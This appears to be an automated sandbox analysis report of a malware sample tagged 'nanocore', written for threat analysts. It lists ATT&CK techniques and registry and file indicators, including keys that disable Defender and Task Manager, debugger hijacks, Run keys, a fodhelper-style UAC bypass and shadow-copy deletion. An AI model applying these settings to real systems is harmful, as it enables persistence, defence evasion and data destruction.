nanocore | 58764a7b7e5d3cb806eec47c89d95580c400ba350c2357ccd2666e6d96aded76

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	lumm.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4620	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	lumm.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	lumm.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lumm.io_chrome.exe"	lumm.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	lumm.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lumm.io_chrome.exe"	lumm.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	lumm.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lumm.io_chrome.exe"	lumm.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	lumm.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
4168	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	lumm.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lumm.io_chrome.exe"	lumm.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lumm.io_chrome.exe"	lumm.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lumm.io_chrome.exe"	lumm.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3120	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\sysupdate.exe	lumm.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	lumm.io_chrome.exe
File created	C:\Windows\system32\svchost.exe	lumm.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
2456	wscript.exe
6128	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	lumm.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	lumm.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4352	sc.exe
3712	sc.exe
2492	sc.exe
4960	sc.exe
856	sc.exe
5008	sc.exe
2848	sc.exe
4372	sc.exe
3276	sc.exe
4436	sc.exe
4292	sc.exe
4752	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5280	cmd.exe
2676	cmd.exe
844	cmd.exe
4520	cmd.exe
328	cmd.exe
596	cmd.exe
4284	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3424	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
324	ipconfig.exe
1568	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
1264	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3964	vssadmin.exe
3936	vssadmin.exe
1612	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\WallpaperStyle = "2"	lumm.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134308745506379211"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	lumm.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	lumm.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	lumm.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lumm.io_chrome.exe"	lumm.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\DelegateExecute	lumm.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	lumm.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	lumm.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	lumm.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	lumm.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	lumm.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	lumm.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	lumm.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lumm.io_chrome.exe\" \"%1\""	lumm.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	lumm.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	lumm.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	lumm.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5884	schtasks.exe
436	schtasks.exe
2716	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4620	powershell.exe
4620	powershell.exe
4748	chrome.exe
4748	chrome.exe
4620	powershell.exe
5176	WMIC.exe
5176	WMIC.exe
5176	WMIC.exe
5176	WMIC.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
4732	WMIC.exe
4732	WMIC.exe
4732	WMIC.exe
4732	WMIC.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
4704	WMIC.exe
4704	WMIC.exe
4704	WMIC.exe
4704	WMIC.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe
2884	lumm.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2884	lumm.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4620	powershell.exe
Token: SeShutdownPrivilege	4748	chrome.exe
Token: SeCreatePagefilePrivilege	4748	chrome.exe
Token: SeShutdownPrivilege	4748	chrome.exe
Token: SeCreatePagefilePrivilege	4748	chrome.exe
Token: SeShutdownPrivilege	4748	chrome.exe
Token: SeCreatePagefilePrivilege	4748	chrome.exe
Token: SeShutdownPrivilege	4748	chrome.exe
Token: SeCreatePagefilePrivilege	4748	chrome.exe
Token: SeShutdownPrivilege	4748	chrome.exe
Token: SeCreatePagefilePrivilege	4748	chrome.exe
Token: SeShutdownPrivilege	4748	chrome.exe
Token: SeCreatePagefilePrivilege	4748	chrome.exe
Token: SeIncreaseQuotaPrivilege	5176	WMIC.exe
Token: SeSecurityPrivilege	5176	WMIC.exe
Token: SeTakeOwnershipPrivilege	5176	WMIC.exe
Token: SeLoadDriverPrivilege	5176	WMIC.exe
Token: SeSystemProfilePrivilege	5176	WMIC.exe
Token: SeSystemtimePrivilege	5176	WMIC.exe
Token: SeProfSingleProcessPrivilege	5176	WMIC.exe
Token: SeIncBasePriorityPrivilege	5176	WMIC.exe
Token: SeCreatePagefilePrivilege	5176	WMIC.exe
Token: SeBackupPrivilege	5176	WMIC.exe
Token: SeRestorePrivilege	5176	WMIC.exe
Token: SeShutdownPrivilege	5176	WMIC.exe
Token: SeDebugPrivilege	5176	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5176	WMIC.exe
Token: SeRemoteShutdownPrivilege	5176	WMIC.exe
Token: SeUndockPrivilege	5176	WMIC.exe
Token: SeManageVolumePrivilege	5176	WMIC.exe
Token: 33	5176	WMIC.exe
Token: 34	5176	WMIC.exe
Token: 35	5176	WMIC.exe
Token: 36	5176	WMIC.exe
Token: SeBackupPrivilege	6064	vssvc.exe
Token: SeRestorePrivilege	6064	vssvc.exe
Token: SeAuditPrivilege	6064	vssvc.exe
Token: SeShutdownPrivilege	4748	chrome.exe
Token: SeCreatePagefilePrivilege	4748	chrome.exe
Token: SeIncreaseQuotaPrivilege	5176	WMIC.exe
Token: SeSecurityPrivilege	5176	WMIC.exe
Token: SeTakeOwnershipPrivilege	5176	WMIC.exe
Token: SeLoadDriverPrivilege	5176	WMIC.exe
Token: SeSystemProfilePrivilege	5176	WMIC.exe
Token: SeSystemtimePrivilege	5176	WMIC.exe
Token: SeProfSingleProcessPrivilege	5176	WMIC.exe
Token: SeIncBasePriorityPrivilege	5176	WMIC.exe
Token: SeCreatePagefilePrivilege	5176	WMIC.exe
Token: SeBackupPrivilege	5176	WMIC.exe
Token: SeRestorePrivilege	5176	WMIC.exe
Token: SeShutdownPrivilege	5176	WMIC.exe
Token: SeDebugPrivilege	5176	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5176	WMIC.exe
Token: SeRemoteShutdownPrivilege	5176	WMIC.exe
Token: SeUndockPrivilege	5176	WMIC.exe
Token: SeManageVolumePrivilege	5176	WMIC.exe
Token: 33	5176	WMIC.exe
Token: 34	5176	WMIC.exe
Token: 35	5176	WMIC.exe
Token: 36	5176	WMIC.exe
Token: SeShutdownPrivilege	4748	chrome.exe
Token: SeCreatePagefilePrivilege	4748	chrome.exe
Token: SeShutdownPrivilege	4748	chrome.exe
Token: SeCreatePagefilePrivilege	4748	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe
4748	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2884	lumm.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2884 wrote to memory of 4748	2884	lumm.io_chrome.exe	89
PID 4748 wrote to memory of 4404	4748	chrome.exe	90
PID 2884 wrote to memory of 4620	2884	lumm.io_chrome.exe	91
PID 2884 wrote to memory of 856	2884	lumm.io_chrome.exe	93
PID 2884 wrote to memory of 5008	2884	lumm.io_chrome.exe	95
PID 2884 wrote to memory of 2848	2884	lumm.io_chrome.exe	97
PID 2884 wrote to memory of 4352	2884	lumm.io_chrome.exe	99
PID 2884 wrote to memory of 4372	2884	lumm.io_chrome.exe	101
PID 2884 wrote to memory of 3276	2884	lumm.io_chrome.exe	105
PID 4748 wrote to memory of 3424	4748	chrome.exe	102
PID 4748 wrote to memory of 3380	4748	chrome.exe	107
PID 4748 wrote to memory of 3380	4748	chrome.exe	107
PID 4748 wrote to memory of 3156	4748	chrome.exe	106
PID 4748 wrote to memory of 3156	4748	chrome.exe	106
PID 4748 wrote to memory of 4672	4748	chrome.exe	109
PID 4748 wrote to memory of 4672	4748	chrome.exe	109
PID 4748 wrote to memory of 1308	4748	chrome.exe	108
PID 4748 wrote to memory of 1308	4748	chrome.exe	108
PID 2884 wrote to memory of 3712	2884	lumm.io_chrome.exe	111
PID 2884 wrote to memory of 4436	2884	lumm.io_chrome.exe	113
PID 4748 wrote to memory of 1304	4748	chrome.exe	114
PID 4748 wrote to memory of 1304	4748	chrome.exe	114
PID 2884 wrote to memory of 3744	2884	lumm.io_chrome.exe	116
PID 2884 wrote to memory of 4292	2884	lumm.io_chrome.exe	139
PID 4748 wrote to memory of 572	4748	chrome.exe	119
PID 4748 wrote to memory of 572	4748	chrome.exe	119
PID 2884 wrote to memory of 2492	2884	lumm.io_chrome.exe	120
PID 3744 wrote to memory of 1500	3744	fodhelper.exe	122
PID 2884 wrote to memory of 3964	2884	lumm.io_chrome.exe	123
PID 2884 wrote to memory of 5176	2884	lumm.io_chrome.exe	125
PID 2884 wrote to memory of 2456	2884	lumm.io_chrome.exe	131
PID 2884 wrote to memory of 5884	2884	lumm.io_chrome.exe	133
PID 2884 wrote to memory of 436	2884	lumm.io_chrome.exe	166
PID 2884 wrote to memory of 4292	2884	lumm.io_chrome.exe	139
PID 2884 wrote to memory of 328	2884	lumm.io_chrome.exe	141
PID 2884 wrote to memory of 4520	2884	lumm.io_chrome.exe	143
